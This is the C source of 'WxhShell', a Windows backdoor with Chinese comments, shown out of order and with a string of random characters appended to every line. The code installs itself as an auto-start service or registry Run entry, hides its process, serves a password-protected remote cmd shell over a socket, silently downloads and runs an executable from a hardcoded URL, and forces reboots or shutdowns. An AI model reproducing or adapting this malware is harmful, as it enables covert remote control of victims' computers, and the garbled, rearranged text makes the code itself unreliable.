    ExitThread(0); "$}vP<SM  
    } "XT"|KF|D  
    break; 1\r|g2Z :  
    } =ID 2  
  // 关机 >X51$wBL  
  case 'd': { %b^OeWip  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MW+b;0U`#  
    if(Boot(SHUTDOWN)) A3ZY~s#Iv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQS5P#  
    else { chEn|>~  
    closesocket(wsh); A=j0On  
    ExitThread(0); Wn>@9"  
    } MG?0>^F  
    break; SM^-Z|d?  
    } ai0Ut   
  // 获取shell +nT'I!//  
  case 's': { kMsnW}Nu  
    CmdShell(wsh); G!XIc>F*  
    closesocket(wsh); 2m~V{mUT!  
    ExitThread(0); 0JD~M\-!^a  
    break; yu;SH[{Wi  
  } _kY#D;`:r  
  // 退出 W.w)H@]7m  
  case 'x': { r lKlpl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U`]T~9I  
    CloseIt(wsh); 84{Q\c  
    break; A%2:E^k(s  
    } Y1arX^Zb  
  // 离开 ?}B:  
  case 'q': { QL$S4 J"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %xQ.7~  
    closesocket(wsh); .WQ+AE8Q  
    WSACleanup(); oQL59XOT4  
    exit(1); 8+Td-\IMk  
    break; 2z@\R@F  
        } 4);)@&0Md~  
  } B7Tk4q\;Q  
  } . ]8E7  
Gxa x2o  
  // 提示信息 sk|=% }y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |0,vQv  
} dCFlM&(i  
  } ZY56\qcY  
>dM8aJzC  
  return; zY|klX})  
} NOS>8sy  
EbZdas!l  
// shell模块句柄 SZ_V^UX_  
int CmdShell(SOCKET sock) 4&cL[Ny  
{ |G/7_+J6  
STARTUPINFO si; ;2m<CSv!D  
ZeroMemory(&si,sizeof(si)); :ah 5`nmPO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3! ~K^Z]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mzd[fR5a8  
PROCESS_INFORMATION ProcessInfo; $@i"un;  
char cmdline[]="cmd"; `.2h jO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BQ jK8c<  
  return 0; T{}fHfM  
} &''WRgZ}  
K]xa/G(  
// 自身启动模式 Cb:gH}j  
int StartFromService(void) WGAXIQ  
{ n$:IVX"2b  
typedef struct "+uNmUUnm  
{ Ap$y%6  
  DWORD ExitStatus; 1JEnnqu  
  DWORD PebBaseAddress; wdvLx  
  DWORD AffinityMask; "3F;cCDv]  
  DWORD BasePriority; OD=!&LM  
  ULONG UniqueProcessId; #pHs@uvO  
  ULONG InheritedFromUniqueProcessId; #*>E*#?t  
}   PROCESS_BASIC_INFORMATION; ! <WBCclX  
,Os? f:Y6  
PROCNTQSIP NtQueryInformationProcess; 7zTqNnPnf  
p*l$Wj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F6hmku>\1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A!63p$VT;  
|([R'Orm  
  HANDLE             hProcess; /1`cRyS  
  PROCESS_BASIC_INFORMATION pbi; }!TL2er_  
Bg8#qv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z 5]bia,  
  if(NULL == hInst ) return 0; $Q+s/4\  
wLV~F[:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~l~Tk6EM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B[9 (FRX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PNeh#PI 6)  
\x >65;  
  if (!NtQueryInformationProcess) return 0; O3o: qly!  
>ulY7~wUv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \b*X:3g*  
  if(!hProcess) return 0; ^S#t|rN  
G9g6.8*&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; },[;O^Do^{  
/VHi >  
  CloseHandle(hProcess); H UWxPIu  
.C]cK%OO N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3^=+gsc  
if(hProcess==NULL) return 0; jKIc09H|  
bqx0d=Z~[  
HMODULE hMod; l?*r5[O>n  
char procName[255]; ZlKw_Sq:  
unsigned long cbNeeded; W9zE{)Sc~  
iK_c.b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5y4u5Tm-%  
NV r0M?`4  
  CloseHandle(hProcess); +{53a_q  
F&;   
if(strstr(procName,"services")) return 1; // 以服务启动 5f:DN\ ]  
XUV!C 7  
  return 0; // 注册表启动 i.1U|Pi  
} uENdI2EY8y  
M*pRv  
// 主模块 e1q"AOV6  
int StartWxhshell(LPSTR lpCmdLine) R \s!*)  
{ nF)uTk  
  SOCKET wsl; [XlB<P=|>  
BOOL val=TRUE; DW(~Qdk  
  int port=0; 0F;,O3Q  
  struct sockaddr_in door; 1f (DU4h  
k6\^p;!Y  
  if(wscfg.ws_autoins) Install(); G"y.Z2$  
PKq-@F%X  
port=atoi(lpCmdLine); 8X&Ya =  
"?.~/@  
if(port<=0) port=wscfg.ws_port; <1~^C  
%"A_!<n@*`  
  WSADATA data; [{&jr]w`|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q\9d6u=Gm  
I]}>|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o'%e I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); } PeZO!K  
  door.sin_family = AF_INET; ,,=apyr#&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sP$Ks#/  
  door.sin_port = htons(port); tu%[p 4   
>adV(V<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ov9 Q?8KzM  
closesocket(wsl); _ :^ 7a3I  
return 1; .+K S`  
} B>TSdn={>  
D!TZI  
  if(listen(wsl,2) == INVALID_SOCKET) { l*7?Y7FK  
closesocket(wsl); sY;lt.b  
return 1; J7i+c];!<  
} g.Hio.fVd  
  Wxhshell(wsl); :wgfW .w  
  WSACleanup(); tjv\)Nn'  
Q*O<@   
return 0; v@u<Ww;=@  
O%1/ r*  
} mgkyC5)d  
pvXcLR)L+3  
// 以NT服务方式启动 ^i_Iqph=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {8NwFN.  
{ 3#.\  
DWORD   status = 0; M1u{A^d.Z  
  DWORD   specificError = 0xfffffff; ulXnq`  
PCfo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .`C V^\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8V5a%2eV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;6DnId2Zh  
  serviceStatus.dwWin32ExitCode     = 0; xX@FWAj  
  serviceStatus.dwServiceSpecificExitCode = 0; N?23 m`3  
  serviceStatus.dwCheckPoint       = 0; !Ua&0s%  
  serviceStatus.dwWaitHint       = 0; 0\a8}b||  
[N|xzMe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !0fI"3P@r  
  if (hServiceStatusHandle==0) return; x,Y 5U+]E  
h[=nx^  
status = GetLastError(); 6f] rQ9  
  if (status!=NO_ERROR) LD55n%|0`H  
{ m4/}Jx[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p#H]\ P'  
    serviceStatus.dwCheckPoint       = 0; QB1M3b  
    serviceStatus.dwWaitHint       = 0; Q_}/ Pn$1  
    serviceStatus.dwWin32ExitCode     = status; m)f|:MM  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?y-s20Kd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4#Eul  
    return; MEU[%hty_  
  } &:!ij  
+Z+ExS<#z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fh`-(,e?5  
  serviceStatus.dwCheckPoint       = 0; [b`6v`x  
  serviceStatus.dwWaitHint       = 0; ')nnWlK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^Rmoz1d  
} ndOfbu;mf  
4MX7=!E  
// 处理NT服务事件,比如:启动、停止 x N`T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vR]mSX3)?  
{ l \}25 e  
switch(fdwControl) GNghB(  
{ /PC` 0/b  
case SERVICE_CONTROL_STOP: #%cR%Z  
  serviceStatus.dwWin32ExitCode = 0; F1}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'TX M{RGw  
  serviceStatus.dwCheckPoint   = 0; *]{=8zc2  
  serviceStatus.dwWaitHint     = 0; EUwQIA2c8N  
  { V.,bwPb{9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K+mU_+KRp  
  } FDq{M?6i  
  return; B| Q6!  
case SERVICE_CONTROL_PAUSE: rl|Q)A{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K/Jk[29"\  
  break; KO-a; [/  
case SERVICE_CONTROL_CONTINUE: $Sb@zLi)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;c)! @GoA  
  break; ;E's4jWq  
case SERVICE_CONTROL_INTERROGATE: v*L '{3f  
  break; NW De-<fQ  
}; & s-VSu7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [.U^Wrd  
} =>YvA>izE  
!`C%Fkq  
// 标准应用程序主函数 T~:_}J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GYqJ!,  
{ r{V.jZ%p'Z  
h[H%:743  
// 获取操作系统版本 *8206[y  
OsIsNt=GetOsVer(); 5bBCpNa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DR{] sG  
ji##$xC  
  // 从命令行安装 !Mil?^  
  if(strpbrk(lpCmdLine,"iI")) Install(); _m7c o :  
S.]MOB dt  
  // 下载执行文件 )G4rJ~#@  
if(wscfg.ws_downexe) { %Qd3BZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZeTL$E[E}  
  WinExec(wscfg.ws_filenam,SW_HIDE); -aN":?8(G  
} irmwc'n]  
3k{c$x}  
if(!OsIsNt) { &(0N.=R  
// 如果时win9x,隐藏进程并且设置为注册表启动 L?.7\a@  
HideProc();  V IYV92[  
StartWxhshell(lpCmdLine); wWFW,3b  
} ) MBS  
else k.{G&]r{  
  if(StartFromService()) M8Juykw  
  // 以服务方式启动 ;/aB)JZ5=  
  StartServiceCtrlDispatcher(DispatchTable); +3HPA#A  
else Gt5$6>A  
  // 普通方式启动 Mz}i[|U\  
  StartWxhshell(lpCmdLine); 54wM8'+  
.xnQd^qoac  
return 0; FpC~1Nau  
} k -]xSKG  
fMzYFM'i  
lrn+d$!@  
Zx9.pFc"  
=========================================== -3`Isv  
9;pzzZ  
X?kPi&ru  
1!f2*m  
xiJz`KD&  
V^ Y*xZ  
" [>wzl"cHW  
4[xA- \  
#include <stdio.h> EaCZx  
#include <string.h> Fu mn9  
#include <windows.h> @92gb$xT  
#include <winsock2.h> HIrEv  
#include <winsvc.h> Hp*gv/0  
#include <urlmon.h> `%%?zgY  
*XOS.$zGz  
#pragma comment (lib, "Ws2_32.lib") B%y! aQep  
#pragma comment (lib, "urlmon.lib") Kv1vx*>  
ny~W]1  
#define MAX_USER   100 // 最大客户端连接数 T7ki/hjRb  
#define BUF_SOCK   200 // sock buffer G ;jF9i  
#define KEY_BUFF   255 // 输入 buffer Kf&r21h  
+&?'KZ+Z_v  
#define REBOOT     0   // 重启 l&$*}yCK  
#define SHUTDOWN   1   // 关机 `TAcZl=8  
6l<1A$BQ  
#define DEF_PORT   5000 // 监听端口 =;g=GcVK  
L[1d&d!p  
#define REG_LEN     16   // 注册表键长度 OAY8,C=M  
#define SVC_LEN     80   // NT服务名长度 oAC^4-Ld  
TXx'7[  
// 从dll定义API v=j>^F Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G u6[{u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >]^>gUmq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Io09W^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 98jD"*W5  
E+:.IuXW$  
// wxhshell配置信息 G~O" /WM  
struct WSCFG { 2[XltjO  
  int ws_port;         // 监听端口 0&f\7z  
  char ws_passstr[REG_LEN]; // 口令 ~DK F%}E  
  int ws_autoins;       // 安装标记, 1=yes 0=no mQFa/7FX  
  char ws_regname[REG_LEN]; // 注册表键名 :mzCeX8 *  
  char ws_svcname[REG_LEN]; // 服务名 #fO*ROe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QZ?O;K1|y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H 'D#s;SlR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HqB|SWyK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i+U@\:=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ko@zk<~"[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +tPx0>p;  
}z8{B3K  
}; (K<Z=a  
Tln9q0"W  
// default Wxhshell configuration <( cM*kV  
struct WSCFG wscfg={DEF_PORT, 3.B4(9:>,  
    "xuhuanlingzhe", C0P*D,  
    1, aX:#'eDB  
    "Wxhshell", jGJ.Pvc>i  
    "Wxhshell", ;gdi=>S_  
            "WxhShell Service", S_ZLTcq<1  
    "Wrsky Windows CmdShell Service", Al=(sHc'  
    "Please Input Your Password: ", G]1(X38[si  
  1, "^Y6ctw  
  "http://www.wrsky.com/wxhshell.exe", }7-7t{G  
  "Wxhshell.exe" `Fz\wPd  
    }; p| Vmdnb  
o?;F.W_  
// 消息定义模块 `8mD7xsg$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +}kO ;\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 0p3Rv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r[6#G2  
char *msg_ws_ext="\n\rExit."; 7s0)3HR}  
char *msg_ws_end="\n\rQuit."; z7| s%&  
char *msg_ws_boot="\n\rReboot..."; {qJHL;mP:8  
char *msg_ws_poff="\n\rShutdown..."; mJSK; @w<O  
char *msg_ws_down="\n\rSave to "; "[#@;{@Gt  
Cc@=?  
char *msg_ws_err="\n\rErr!"; ]d[Rf$>vu0  
char *msg_ws_ok="\n\rOK!"; #4Dn@Gqh.Y  
|if~i;VKL  
char ExeFile[MAX_PATH]; <Z2(qZ^Z  
int nUser = 0; 1 ,#{X3  
HANDLE handles[MAX_USER]; '.=Wk^,Ua  
int OsIsNt; I93 ~8wQ  
GU:r vS!  
SERVICE_STATUS       serviceStatus; BhOXXa{B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sM #!Xl;  
V h Z=,m  
// 函数声明 ;r gH}r  
int Install(void); t|go5DXz4  
int Uninstall(void); AD~~e% s=  
int DownloadFile(char *sURL, SOCKET wsh); 8f /T!5  
int Boot(int flag); dDsjPM;2  
void HideProc(void); <WZ1-  
int GetOsVer(void); -q'xC:m  
int Wxhshell(SOCKET wsl); x:!C(Ep)  
void TalkWithClient(void *cs); #;wkr))  
int CmdShell(SOCKET sock); Uzan7A  
int StartFromService(void); /'R UA  
int StartWxhshell(LPSTR lpCmdLine); muL>g_H  
LvSP #$f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b`(yu.{Jn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b24NL'jm  
.jvSAV5B  
// 数据结构和表定义 3'?h;`v\Lo  
SERVICE_TABLE_ENTRY DispatchTable[] = omXBnzT  
{ >{phyByI  
{wscfg.ws_svcname, NTServiceMain}, 6T R8D\  
{NULL, NULL} |WD,\=J2  
}; pe\Txg6  
IyrZez  
// 自我安装 w{_e"N  
int Install(void) +A]&AkTw  
{ Z}sG3p  
  char svExeFile[MAX_PATH]; d9`3EP)n  
  HKEY key; 1mT|o_K{ T  
  strcpy(svExeFile,ExeFile); ~C}(\8g  
?2J S&i  
// 如果是win9x系统,修改注册表设为自启动 3g?MEM~  
if(!OsIsNt) { ${jA+L<J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kj~>&WU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XR{5]lKt_  
  RegCloseKey(key); yq/[/*7^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nm H}"ndv+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2E@C0HaL  
  RegCloseKey(key); w/lXZg  
  return 0; p_rN1W Dd'  
    } 7yMieUF  
  } %Nwyx;>9^K  
} )![f\!'PI  
else { o8~f   
I ybl;u  
// 如果是NT以上系统,安装为系统服务 &4mfzpK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [_g#x(=  
if (schSCManager!=0) 1TK #eU  
{ ,Hik(22  
  SC_HANDLE schService = CreateService IeR l6r%:  
  ( ""25ay  
  schSCManager, E[SV*1)  
  wscfg.ws_svcname, 4@/q_*3o  
  wscfg.ws_svcdisp, H B::0l<  
  SERVICE_ALL_ACCESS, sDzD 8as  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W _PM!>8`  
  SERVICE_AUTO_START, sf.E|]isW  
  SERVICE_ERROR_NORMAL, o1fyNzq<  
  svExeFile, #U?EOm  
  NULL, ir?Uw:/f  
  NULL, }vXA`)Ns  
  NULL, 1Y H4a|bc  
  NULL, yDCooX0  
  NULL ROJ'-Vde9  
  ); y9V;IXhDc  
  if (schService!=0) "ay,Lr  
  { /7UovKKbz  
  CloseServiceHandle(schService); "<cB73tY  
  CloseServiceHandle(schSCManager); ~)! V8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )z ?&" I  
  strcat(svExeFile,wscfg.ws_svcname); 902!M65[rG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { USnD7I/b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `@u+u0  
  RegCloseKey(key); vSyi}5D  
  return 0; _0DXQS\  
    } beN>5coP%A  
  } ZaukMEq  
  CloseServiceHandle(schSCManager); oW yN:Qh  
} b6LC$"t0  
} C:tSCNH[  
[I+)Ak5  
return 1; H#1*'e>  
} Ux%\Y.PPI  
^'C,WZt  
// 自我卸载 1cHSgpoJ  
int Uninstall(void) %S(#cf!HP  
{ $>S}acuC  
  HKEY key; C*W.9  
S`GXiwk  
if(!OsIsNt) { Ovaj":L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +eV4g2w)  
  RegDeleteValue(key,wscfg.ws_regname); jza}-=&+e  
  RegCloseKey(key); }\`-G+i{W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z3X&<Y5  
  RegDeleteValue(key,wscfg.ws_regname); /JK-}E  
  RegCloseKey(key); /VhE<}OtH  
  return 0; ;EE&~&*w  
  } wB1|r{  
} ^B&ahk  
} )"pxry4v7J  
else { ery?G-  
ZZ]OR;8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @MlU!oR&  
if (schSCManager!=0) <WHs  
{ /QV. U.>G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SBN_>;$c5}  
  if (schService!=0) f}9PEpa,Z  
  { H/^TXqQ8  
  if(DeleteService(schService)!=0) { lH,]ZA./  
  CloseServiceHandle(schService); XoH[MJC  
  CloseServiceHandle(schSCManager); *Lb(urf  
  return 0; 0?5%  
  } Fl#VKU3h  
  CloseServiceHandle(schService); n&3iv ^  
  } Gw\G+T?M-  
  CloseServiceHandle(schSCManager); lkSz7dr@  
} (8@h F#N1  
} #T$'.M  
%_j?<h&  
return 1; :~0^ib<v;  
} 9(N)MT5F  
li 3PR$W V  
// 从指定url下载文件 v'bd.eqw  
int DownloadFile(char *sURL, SOCKET wsh) njwR~aL`|  
{  [A%e6  
  HRESULT hr; O=#/DM;  
char seps[]= "/"; 08K.\3  
char *token; 3@Zz-~4Td  
char *file; V'.eesN  
char myURL[MAX_PATH]; ?ck^? p7  
char myFILE[MAX_PATH]; 1EAVMJ  
jy__Y=1}  
strcpy(myURL,sURL);  'QekQ];  
  token=strtok(myURL,seps); FSYjp{z5  
  while(token!=NULL) @]ptY*   
  { %<ptkZK#  
    file=token; =-Q  
  token=strtok(NULL,seps); %)6 :eIS  
  } zfr(dQ  
3R:7bex  
GetCurrentDirectory(MAX_PATH,myFILE); QqFfR#  
strcat(myFILE, "\\"); xV n]m9i  
strcat(myFILE, file); !s[j1=y  
  send(wsh,myFILE,strlen(myFILE),0); Nz>E#.++  
send(wsh,"...",3,0); iM\ Z J6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y9H *S*n  
  if(hr==S_OK) ev;5 ?9\E  
return 0; "-j@GCme  
else O%++0k;  
return 1; Pdo5 sve  
lc$@Jjg9  
} A^r [_dyZ  
9tc@   
// 系统电源模块 &h4Z|h[01  
int Boot(int flag) l=-d K_ I?  
{ Z_OqXo=  
  HANDLE hToken; 9h,yb4jPP  
  TOKEN_PRIVILEGES tkp; v4k=NH+w  
;aRWJG  
  if(OsIsNt) { [[66[;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t6L^ #\'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [@. jL0>  
    tkp.PrivilegeCount = 1; ">D(+ xr!)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |Qt`p@W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O'& \-j 1  
if(flag==REBOOT) { 1(;33),P8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YI),q.3X~  
  return 0; l&^[cR  
}  _7j/[  
else { 4Utx 9^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _qzo):G.s  
  return 0; 4Tzu"y  
} ry'^1~,  
  } &A5[C{x  
  else { =<FZ{4  
if(flag==REBOOT) { 3d)+44G_)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {R{%Z  
  return 0; _OxnHf:|  
} .&yWHdQC:  
else { (27F   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jf)JPa_  
  return 0; $evuPm8G  
} tSXjp  
} _Fh0^O@  
p2NB~t7Z  
return 1; X8l1xD  
} Q-dHR i  
pYhI{  
// win9x进程隐藏模块 $ E~Lu$|  
void HideProc(void) CL}I:/zRB  
{ `SS~=~WY  
I{g2q B$6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?e_}X3{  
  if ( hKernel != NULL ) R?9Plzt5  
  { K{w=qJBM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k;:u| s8NS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 36Z`.E>~L  
    FreeLibrary(hKernel); ^nm!NL{z^  
  } x#gmliF  
AO7qs:+  
return; cSs/XJZ  
} 0!'M#'m  
-JO46 #m  
// 获取操作系统版本 o(SJuZC/U  
int GetOsVer(void) Z-p^3t'{  
{ &lfF!   
  OSVERSIONINFO winfo; S| -{wC%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n_Hn k4  
  GetVersionEx(&winfo); 3{L vKe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +VW]%6 +  
  return 1; 2Ku#j ('  
  else <sFf'W_3{  
  return 0; B l/e>@M  
} z` ?xS  
2u;fT{(  
// 客户端句柄模块 'nDT.i  
int Wxhshell(SOCKET wsl) I/-w65J]  
{ CY).I`aJ  
  SOCKET wsh; z`:^e1vG  
  struct sockaddr_in client; gGdYh.K&e5  
  DWORD myID; Z!i'Tbfn  
`M<G8ob  
  while(nUser<MAX_USER) yhn $4;m  
{ .p0n\ $r  
  int nSize=sizeof(client); d\Z4?@T<5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lR K ?%~  
  if(wsh==INVALID_SOCKET) return 1; sF3 l##Wv  
L8K3&[l%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l3|>*szX  
if(handles[nUser]==0) MmX[xk  
  closesocket(wsh); R]s jG <  
else w>UV\`x  
  nUser++; ;3}b&Z[N]  
  } lz0]p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KIY_EE$?  
8=Y|B5   
  return 0; qq%_ksQ  
} EGr5xR-  
k+G4<qw  
// 关闭 socket vlyNQ7"%  
void CloseIt(SOCKET wsh) CKt~#$ I%  
{ h?tV>x/Fu  
closesocket(wsh); VzM@DM]=~  
nUser--; vgZPDf|  
ExitThread(0); ghQsS|)p.  
} M6Z`Pwv];  
acZ|H  
// 客户端请求句柄 J; Xz'0  
void TalkWithClient(void *cs) :*%\i' $!/  
{ e/D\7Pf  
, ZW.P`  
  SOCKET wsh=(SOCKET)cs; L`@&0Zk  
  char pwd[SVC_LEN]; ?gP/XjToMg  
  char cmd[KEY_BUFF]; |-Klh  
char chr[1]; l>P~M50D?{  
int i,j; = |zLr"  
o@~gg *  
  while (nUser < MAX_USER) { }4`YdN  
xT( .#9  
if(wscfg.ws_passstr) { GuDD7~qxY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }33Au-%*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xW )8mv?4n  
  //ZeroMemory(pwd,KEY_BUFF); `fVA. %  
      i=0; (P] ^5D  
  while(i<SVC_LEN) { BeCr){,3  
 ]= D  
  // 设置超时 *4\ub:9  
  fd_set FdRead; #!j&L6  
  struct timeval TimeOut; sJYX[  
  FD_ZERO(&FdRead); jo:p*Q "F  
  FD_SET(wsh,&FdRead); bbA<Zp  
  TimeOut.tv_sec=8; $}o,7xAn  
  TimeOut.tv_usec=0; r 24]2A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [o6<aE-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uV\#J{'*  
3VgH* vAU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I`lH6hHp  
  pwd=chr[0]; ~%q e,  
  if(chr[0]==0xd || chr[0]==0xa) { Jq@LZ2^  
  pwd=0;  7cQw?C  
  break; RS=7W._W  
  } cl8Mv  
  i++; ]qQB+]WN  
    } [qo* ,CRz  
BNLall  
  // 如果是非法用户,关闭 socket TQfY%GKg(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "K]4j]yU  
} @}}1xP4Sr  
^U1 +D^AJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yrb%g~ELGn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wIPDeC4  
VJPPHJ[-  
while(1) { UcIR0BYa  
ku=q:ry O  
  ZeroMemory(cmd,KEY_BUFF); zy5bDL -  
}0*7bb  
      // 自动支持客户端 telnet标准   a#@ opUn-  
  j=0; |LhuZ_;1xo  
  while(j<KEY_BUFF) { V6o,}o&-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R'_[RHFC  
  cmd[j]=chr[0]; }zLE*b,  
  if(chr[0]==0xa || chr[0]==0xd) { z}|'&O*.F  
  cmd[j]=0; }:A kpm  
  break; }?$Mh)  
  } A-5%_M3\G  
  j++; #wcoLCjs)  
    } {K}+$jzGVt  
#]a0 51Y  
  // 下载文件 q\G@Nn^  
  if(strstr(cmd,"http://")) { -rrg?4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gNBI?xs`p  
  if(DownloadFile(cmd,wsh)) EyiM`)!5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 34:=A0z  
